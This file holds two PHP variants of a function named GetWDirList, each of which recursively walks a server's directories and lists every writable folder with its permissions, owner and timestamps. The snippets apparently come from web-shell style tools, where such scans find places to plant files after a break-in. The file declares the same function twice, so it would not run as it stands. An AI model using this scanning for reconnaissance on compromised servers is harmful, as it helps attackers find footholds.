function GetWDirList($dir) { global $dirdata, $j, $nowpath; !$j && ($j = 1); if ($dh = opendir($dir)) { while ($file = readdir($dh)) { $f = str_replace('//', '/', $dir . '/' . $file); if ($file != '.' && $file != '..' && is_dir($f)) { if (is_writable($f)) { $dirdata[$j]['filename'] = str_replace($nowpath, '', $f); $dirdata[$j]['mtime'] = @date('Y-m-d H:i:s', filemtime($f)); $dirdata[$j]['dirchmod'] = getChmod($f); $dirdata[$j]['dirperm'] = getPerms($f); $dirdata[$j]['dirlink'] = ue($dir); $dirdata[$j]['server_link'] = $f; $dirdata[$j]['client_link'] = ue($f); $j++; } GetWDirList($f); } } closedir($dh); clearstatcache(); return $dirdata; } else { return array(); } }
function GetWDirList($path) { global $dirdata, $j, $web_cwd; !$j && ($j = 1); $dirs = @scandir($path); if ($dirs) { $dirs = array_diff($dirs, array('..', '.')); foreach ($dirs as $file) { $f = str_replace('//', '/', $path . '/' . $file); if (is_dir($f)) { if (is_writable($f)) { $dirdata[$j]['filename'] = '/' . str_replace($web_cwd, '', $f); $dirdata[$j]['mtime'] = @date('Y-m-d H:i:s', filemtime($f)); $dirdata[$j]['chmod'] = getChmod($f); $dirdata[$j]['perm'] = PermsColor($f); $dirdata[$j]['owner'] = getUser($f); $dirdata[$j]['link'] = $f; $j++; } GetWDirList($f); } } return $dirdata; } else { return array(); } }